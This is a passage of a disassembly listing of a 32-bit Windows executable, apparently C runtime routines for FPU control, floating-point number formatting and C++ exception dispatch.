endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EA00 proc near ; CODE XREF: sub_42DD60+171p var_4 = word ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi fstsw [ebp+var_4] movsx eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42EA00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EA20 proc near ; CODE XREF: sub_42DD60+349p var_4 = word ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi fnstsw [ebp+var_4] fnclex movsx eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42EA20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EA40 proc near ; CODE XREF: sub_422F50+11p ; sub_422F50+67p ... var_8 = word ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi fstcw [ebp+var_8] mov eax, [ebp+arg_0] and eax, [ebp+arg_4] movsx ecx, [ebp+var_8] mov edx, [ebp+arg_4] not edx and ecx, edx or eax, ecx mov [ebp+var_4], ax fldcw [ebp+var_4] movsx eax, [ebp+var_8] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42EA40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EA80 proc near ; CODE XREF: sub_42E230+25p ; sub_42E230+50p ... var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_42EA9D fld tbyte_452880 fistp [ebp+var_C] wait loc_42EA9D: ; CODE XREF: sub_42EA80+11j mov ecx, [ebp+arg_0] and ecx, 8 test ecx, ecx jz short loc_42EAB7 fstsw ax fld tbyte_452880 fstp [ebp+var_8] wait fstsw ax loc_42EAB7: ; CODE XREF: sub_42EA80+25j mov edx, [ebp+arg_0] and edx, 10h test edx, edx jz short loc_42EACB fld tbyte_45288C fstp [ebp+var_8] wait loc_42EACB: ; CODE XREF: sub_42EA80+3Fj mov eax, [ebp+arg_0] and eax, 4 test eax, eax jz short loc_42EADE fldz fld1 fdivrp st(1), st fstp st wait loc_42EADE: ; CODE XREF: sub_42EA80+53j mov ecx, [ebp+arg_0] and ecx, 20h test ecx, ecx jz short loc_42EAEE fldpi fstp [ebp+var_8] wait loc_42EAEE: ; CODE XREF: sub_42EA80+66j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42EA80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EB00 proc near ; CODE XREF: sub_423090+15p ; .XComp0:00434A75p push ebp mov ebp, esp push 30000h push 10000h call sub_434A40 add esp, 8 pop ebp retn sub_42EB00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EB20 proc near ; CODE XREF: sub_42EB80:loc_42EBB9p var_1C = dword ptr -1Ch var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov dword ptr [ebp+var_18], 80000000h mov dword ptr [ebp+var_18+4], 4147FFFFh mov dword ptr [ebp+var_8], 0C0000000h mov dword ptr [ebp+var_8+4], 4150017Eh fld [ebp+var_8] fdiv [ebp+var_18] fmul [ebp+var_18] fsubr [ebp+var_8] fstp [ebp+var_10] fld [ebp+var_10] fcomp dbl_43ED28 fnstsw ax test ah, 41h jnz short loc_42EB6D mov [ebp+var_1C], 1 jmp short loc_42EB74 ; --------------------------------------------------------------------------- loc_42EB6D: ; CODE XREF: sub_42EB20+42j mov [ebp+var_1C], 0 loc_42EB74: ; CODE XREF: sub_42EB20+4Bj mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42EB20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EB80 proc near ; CODE XREF: sub_423090+Bp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push offset aKernel32 ; "KERNEL32" nop call near ptr 27B03C5h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42EBB9 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" mov eax, [ebp+var_4] push eax nop call near ptr 27D0334h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_42EBB9 push 0 call [ebp+var_8] jmp short loc_42EBBE ; --------------------------------------------------------------------------- loc_42EBB9: ; CODE XREF: sub_42EB80+18j ; sub_42EB80+30j call sub_42EB20 loc_42EBBE: ; CODE XREF: sub_42EB80+37j mov esp, ebp pop ebp retn sub_42EB80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EBD0 proc near ; CODE XREF: sub_42A6B0+6CFp ; DATA XREF: sub_4230D0+21o ... var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] push ecx call sub_4243A0 add esp, 4 cmp eax, 65h jz short loc_42EC30 loc_42EBEA: ; CODE XREF: sub_42EBD0+5Ej mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx cmp dword_4524F0, 1 jle short loc_42EC12 push 4 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] push ecx call sub_429750 add esp, 8 mov [ebp+var_C], eax jmp short loc_42EC2A ; --------------------------------------------------------------------------- loc_42EC12: ; CODE XREF: sub_42EBD0+2Aj mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov ecx, off_4522E4 xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_C], edx loc_42EC2A: ; CODE XREF: sub_42EBD0+40j cmp [ebp+var_C], 0 jnz short loc_42EBEA loc_42EC30: ; CODE XREF: sub_42EBD0+18j mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_8], cl mov edx, [ebp+arg_0] mov al, byte_4524F4 mov [edx], al mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_42EC4B: ; CODE XREF: sub_42EBD0+A2j mov edx, [ebp+arg_0] mov al, [edx] mov [ebp+var_4], al mov ecx, [ebp+arg_0] mov dl, [ebp+var_8] mov [ecx], dl mov al, [ebp+var_4] mov [ebp+var_8], al mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax test edx, edx jnz short loc_42EC4B mov esp, ebp pop ebp retn sub_42EBD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EC80 proc near ; CODE XREF: sub_42A6B0+6F1p ; DATA XREF: sub_4230D0+Do ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_42EC84: ; CODE XREF: sub_42EC80+28j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42ECAA mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] movsx ecx, byte_4524F4 cmp eax, ecx jz short loc_42ECAA mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp short loc_42EC84 ; --------------------------------------------------------------------------- loc_42ECAA: ; CODE XREF: sub_42EC80+Cj ; sub_42EC80+1Dj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx test ecx, ecx jz loc_42ED53 loc_42ECC1: ; CODE XREF: sub_42EC80+6Aj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42ECEC mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 65h jz short loc_42ECEC mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 45h jz short loc_42ECEC mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_42ECC1 ; --------------------------------------------------------------------------- loc_42ECEC: ; CODE XREF: sub_42EC80+49j ; sub_42EC80+54j ... mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+arg_0] sub edx, 1 mov [ebp+arg_0], edx loc_42ECFB: ; CODE XREF: sub_42EC80+8Fj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 30h jnz short loc_42ED11 mov edx, [ebp+arg_0] sub edx, 1 mov [ebp+arg_0], edx jmp short loc_42ECFB ; --------------------------------------------------------------------------- loc_42ED11: ; CODE XREF: sub_42EC80+84j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] movsx edx, byte_4524F4 cmp ecx, edx jnz short loc_42ED2B mov eax, [ebp+arg_0] sub eax, 1 mov [ebp+arg_0], eax loc_42ED2B: ; CODE XREF: sub_42EC80+A0j ; sub_42EC80+D1j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx test eax, eax jz short loc_42ED53 jmp short loc_42ED2B ; --------------------------------------------------------------------------- loc_42ED53: ; CODE XREF: sub_42EC80+3Bj ; sub_42EC80+CFj mov esp, ebp pop ebp retn sub_42EC80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42ED60 proc near ; DATA XREF: sub_4230D0+2Bo ; .XComp0:off_4528A8o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] fld qword ptr [eax] fcomp dbl_43F270 fnstsw ax test ah, 1 jnz short loc_42ED7F mov [ebp+var_4], 1 jmp short loc_42ED86 ; --------------------------------------------------------------------------- loc_42ED7F: ; CODE XREF: sub_42ED60+14j mov [ebp+var_4], 0 loc_42ED86: ; CODE XREF: sub_42ED60+1Dj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42ED60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42ED90 proc near ; CODE XREF: sub_42C5E0+1138p ; DATA XREF: sub_4230D0+17o ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_42EDBC mov eax, [ebp+arg_8] push eax lea ecx, [ebp+var_8] push ecx call sub_435570 add esp, 8 mov edx, [ebp+arg_4] mov eax, [ebp+var_8] mov [edx], eax mov ecx, [ebp+var_4] mov [edx+4], ecx jmp short loc_42EDD4 ; --------------------------------------------------------------------------- loc_42EDBC: ; CODE XREF: sub_42ED90+Aj mov edx, [ebp+arg_8] push edx lea eax, [ebp+var_C] push eax call sub_4355F0 add esp, 8 mov ecx, [ebp+arg_4] mov edx, [ebp+var_C] mov [ecx], edx loc_42EDD4: ; CODE XREF: sub_42ED90+2Aj mov esp, ebp pop ebp retn sub_42ED90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EDE0 proc near ; CODE XREF: sub_42F270+1Fp var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch lea eax, [ebp+var_14] mov [ebp+var_4], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_435730 add esp, 10h mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_8] add ecx, 1 push ecx mov edx, [ebp+var_4] xor eax, eax cmp dword ptr [edx], 2Dh setz al mov ecx, [ebp+arg_4] add ecx, eax xor edx, edx cmp [ebp+arg_8], 0 setnle dl add ecx, edx push ecx call sub_435630 add esp, 0Ch push 0 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call sub_42EE60 add esp, 14h mov eax, [ebp+arg_4] mov esp, ebp pop ebp retn sub_42EDE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EE60 proc near ; CODE XREF: sub_42EDE0+67p ; sub_42F180+9Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 8 movsx eax, [ebp+arg_10] test eax, eax jz short loc_42EE97 mov ecx, [ebp+arg_C] xor edx, edx cmp dword ptr [ecx], 2Dh setz dl mov eax, [ebp+arg_0] add eax, edx mov [ebp+var_4], eax xor ecx, ecx cmp [ebp+arg_4], 0 setnle cl push ecx mov edx, [ebp+var_4] push edx call sub_42F2D0 add esp, 8 loc_42EE97: ; CODE XREF: sub_42EE60+Cj mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 2Dh jnz short loc_42EEB4 mov edx, [ebp+var_4] mov byte ptr [edx], 2Dh mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42EEB4: ; CODE XREF: sub_42EE60+43j cmp [ebp+arg_4], 0 jle short loc_42EED8 mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov al, byte_4524F4 mov [edx], al loc_42EED8: ; CODE XREF: sub_42EE60+58j push offset aE000 ; "e+000" mov ecx, [ebp+var_4] add ecx, [ebp+arg_4] movsx edx, [ebp+arg_10] neg edx sbb edx, edx inc edx add ecx, edx push ecx call sub_422580 add esp, 8 mov [ebp+var_4], eax cmp [ebp+arg_8], 0 jz short loc_42EF06 mov eax, [ebp+var_4] mov byte ptr [eax], 45h loc_42EF06: ; CODE XREF: sub_42EE60+9Ej mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_C] mov eax, [edx+0Ch] movsx ecx, byte ptr [eax] cmp ecx, 30h jz loc_42EFBF mov edx, [ebp+arg_C] mov eax, [edx+4] sub eax, 1 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jge short loc_42EF41 mov ecx, [ebp+var_8] neg ecx mov [ebp+var_8], ecx mov edx, [ebp+var_4] mov byte ptr [edx], 2Dh loc_42EF41: ; CODE XREF: sub_42EE60+D1j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 64h jl short loc_42EF75 mov eax, [ebp+var_8] cdq mov ecx, 64h idiv ecx mov edx, [ebp+var_4] mov cl, [edx] add cl, al mov edx, [ebp+var_4] mov [edx], cl mov eax, [ebp+var_8] cdq mov ecx, 64h idiv ecx mov [ebp+var_8], edx loc_42EF75: ; CODE XREF: sub_42EE60+EEj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx cmp [ebp+var_8], 0Ah jl short loc_42EFA9 mov eax, [ebp+var_8] cdq mov ecx, 0Ah idiv ecx mov edx, [ebp+var_4] mov cl, [edx] add cl, al mov edx, [ebp+var_4] mov [edx], cl mov eax, [ebp+var_8] cdq mov ecx, 0Ah idiv ecx mov [ebp+var_8], edx loc_42EFA9: ; CODE XREF: sub_42EE60+122j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] add cl, byte ptr [ebp+var_8] mov edx, [ebp+var_4] mov [edx], cl loc_42EFBF: ; CODE XREF: sub_42EE60+BBj mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_42EE60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EFD0 proc near ; CODE XREF: sub_42F270+3Bp var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch lea eax, [ebp+var_14] mov [ebp+var_4], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_435730 add esp, 10h mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_8] add edx, [ecx+4] push edx mov eax, [ebp+var_4] xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl mov edx, [ebp+arg_4] add edx, ecx push edx call sub_435630 add esp, 0Ch push 0 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_42F040 add esp, 10h mov eax, [ebp+arg_4] mov esp, ebp pop ebp retn sub_42EFD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F040 proc near ; CODE XREF: sub_42EFD0+5Bp ; sub_42F180+D9p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_8] mov ecx, [eax+4] sub ecx, 1 mov [ebp+var_8], ecx movsx edx, [ebp+arg_C] test edx, edx jz short loc_42F093 mov eax, [ebp+arg_8] xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl mov edx, [ebp+arg_0] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jnz short loc_42F093 mov ecx, [ebp+var_4] add ecx, [ebp+var_8] mov [ebp+var_C], ecx mov edx, [ebp+var_C] mov byte ptr [edx], 30h mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] mov byte ptr [ecx], 0 loc_42F093: ; CODE XREF: sub_42F040+18j ; sub_42F040+33j mov edx, [ebp+arg_0] mov [ebp+var_4], edx mov eax, [ebp+arg_8] cmp dword ptr [eax], 2Dh jnz short loc_42F0B0 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42F0B0: ; CODE XREF: sub_42F040+5Fj mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jg short loc_42F0D8 push 1 mov ecx, [ebp+var_4] push ecx call sub_42F2D0 add esp, 8 mov edx, [ebp+var_4] mov byte ptr [edx], 30h mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_42F0E4 ; --------------------------------------------------------------------------- loc_42F0D8: ; CODE XREF: sub_42F040+77j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] add edx, [ecx+4] mov [ebp+var_4], edx loc_42F0E4: ; CODE XREF: sub_42F040+96j cmp [ebp+arg_4], 0 jle loc_42F176 push 1 mov eax, [ebp+var_4] push eax call sub_42F2D0 add esp, 8 mov ecx, [ebp+var_4] mov dl, byte_4524F4 mov [ecx], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_8] cmp dword ptr [ecx+4], 0 jge short loc_42F176 movsx edx, [ebp+arg_C] test edx, edx jz short loc_42F12E mov eax, [ebp+arg_8] mov ecx, [eax+4] neg ecx mov [ebp+arg_4], ecx jmp short loc_42F154 ; --------------------------------------------------------------------------- loc_42F12E: ; CODE XREF: sub_42F040+DFj mov edx, [ebp+arg_8] mov eax, [edx+4] neg eax cmp [ebp+arg_4], eax jge short loc_42F143 mov ecx, [ebp+arg_4] mov [ebp+var_10], ecx jmp short loc_42F14E ; --------------------------------------------------------------------------- loc_42F143: ; CODE XREF: sub_42F040+F9j mov edx, [ebp+arg_8] mov eax, [edx+4] neg eax mov [ebp+var_10], eax loc_42F14E: ; CODE XREF: sub_42F040+101j mov ecx, [ebp+var_10] mov [ebp+arg_4], ecx loc_42F154: ; CODE XREF: sub_42F040+ECj mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_4] push eax call sub_42F2D0 add esp, 8 mov ecx, [ebp+arg_4] push ecx push 30h mov edx, [ebp+var_4] push edx call sub_421410 add esp, 0Ch loc_42F176: ; CODE XREF: sub_42F040+A8j ; sub_42F040+D7j mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_42F040 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F180 proc near ; CODE XREF: sub_42F270+55p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h mov [ebp+var_30], 0 lea eax, [ebp+var_14] mov [ebp+var_38], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_435730 add esp, 10h mov eax, [ebp+var_38] mov ecx, [eax+4] sub ecx, 1 mov [ebp+var_34], ecx mov edx, [ebp+var_38] xor eax, eax cmp dword ptr [edx], 2Dh setz al mov ecx, [ebp+arg_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call sub_435630 add esp, 0Ch mov edx, [ebp+var_38] mov eax, [edx+4] sub eax, 1 xor ecx, ecx cmp [ebp+var_34], eax setl cl mov [ebp+var_30], cl mov edx, [ebp+var_38] mov eax, [edx+4] sub eax, 1 mov [ebp+var_34], eax cmp [ebp+var_34], 0FFFFFFFCh jl short loc_42F20B mov ecx, [ebp+var_34] cmp ecx, [ebp+arg_8] jl short loc_42F227 loc_42F20B: ; CODE XREF: sub_42F180+81j push 1 mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_42EE60 add esp, 14h jmp short loc_42F261 ; --------------------------------------------------------------------------- loc_42F227: ; CODE XREF: sub_42F180+89j movsx eax, [ebp+var_30] test eax, eax jz short loc_42F24B loc_42F22F: ; CODE XREF: sub_42F180+C2j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax test edx, edx jz short loc_42F244 jmp short loc_42F22F ; --------------------------------------------------------------------------- loc_42F244: ; CODE XREF: sub_42F180+C0j mov ecx, [ebp+var_4] mov byte ptr [ecx-2], 0 loc_42F24B: ; CODE XREF: sub_42F180+ADj push 1 mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_42F040 add esp, 10h loc_42F261: ; CODE XREF: sub_42F180+A5j mov esp, ebp pop ebp retn sub_42F180 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F270 proc near ; CODE XREF: sub_42A6B0+6ADp ; DATA XREF: sub_4230D0+3o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_42F27F cmp [ebp+arg_8], 45h jnz short loc_42F299 loc_42F27F: ; CODE XREF: sub_42F270+7j mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42EDE0 add esp, 10h jmp short loc_42F2CD ; --------------------------------------------------------------------------- loc_42F299: ; CODE XREF: sub_42F270+Dj cmp [ebp+arg_8], 66h jnz short loc_42F2B5 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42EFD0 add esp, 0Ch jmp short loc_42F2CD ; --------------------------------------------------------------------------- loc_42F2B5: ; CODE XREF: sub_42F270+2Dj mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42F180 add esp, 10h loc_42F2CD: ; CODE XREF: sub_42F270+27j ; sub_42F270+43j pop ebp retn sub_42F270 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F2D0 proc near ; CODE XREF: sub_42EE60+2Fp ; sub_42F040+7Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 jz short loc_42F2FC mov eax, [ebp+arg_0] push eax call sub_41EBD0 add esp, 4 add eax, 1 push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] add edx, [ebp+arg_4] push edx call sub_4237A0 add esp, 0Ch loc_42F2FC: ; CODE XREF: sub_42F2D0+7j pop ebp retn sub_42F2D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F300 proc near ; CODE XREF: sub_423380+27p ; sub_423460+2Cp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_10] cmp dword ptr [eax], 19930520h jnz short loc_42F31A mov [ebp+var_8], 0 jmp short loc_42F322 ; --------------------------------------------------------------------------- loc_42F31A: ; CODE XREF: sub_42F300+Fj call sub_430060 mov [ebp+var_8], eax loc_42F322: ; CODE XREF: sub_42F300+18j mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, 66h test edx, edx jz short loc_42F35E mov eax, [ebp+arg_10] cmp dword ptr [eax+4], 0 jz short loc_42F354 cmp [ebp+arg_14], 0 jnz short loc_42F354 push 0FFFFFFFFh mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax call sub_42F870 add esp, 10h loc_42F354: ; CODE XREF: sub_42F300+36j ; sub_42F300+3Cj mov eax, 1 jmp loc_42F3EB ; --------------------------------------------------------------------------- loc_42F35E: ; CODE XREF: sub_42F300+2Dj mov ecx, [ebp+arg_10] cmp dword ptr [ecx+0Ch], 0 jz short loc_42F3E6 mov edx, [ebp+arg_0] cmp dword ptr [edx], 0E06D7363h jnz short loc_42F3BE mov eax, [ebp+arg_0] cmp dword ptr [eax+14h], 19930520h jbe short loc_42F3BE mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [edx+8] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42F3BE mov ecx, [ebp+arg_1C] and ecx, 0FFh push ecx mov edx, [ebp+arg_18] push edx mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call [ebp+var_4] add esp, 20h jmp short loc_42F3EB ; --------------------------------------------------------------------------- loc_42F3BE: ; CODE XREF: sub_42F300+70j ; sub_42F300+7Cj ... mov eax, [ebp+arg_18] push eax mov ecx, [ebp+arg_14] push ecx mov dl, byte ptr [ebp+arg_1C] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42F3F0 add esp, 20h loc_42F3E6: ; CODE XREF: sub_42F300+65j mov eax, 1 loc_42F3EB: ; CODE XREF: sub_42F300+59j ; sub_42F300+BCj mov esp, ebp pop ebp retn sub_42F300 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F3F0 proc near ; CODE XREF: sub_42F300+DEp var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 30h mov [ebp+var_8], 0 mov eax, [ebp+arg_4] mov ecx, [eax+8] mov [ebp+var_4], ecx cmp [ebp+var_4], 0FFFFFFFFh jl short loc_42F41D 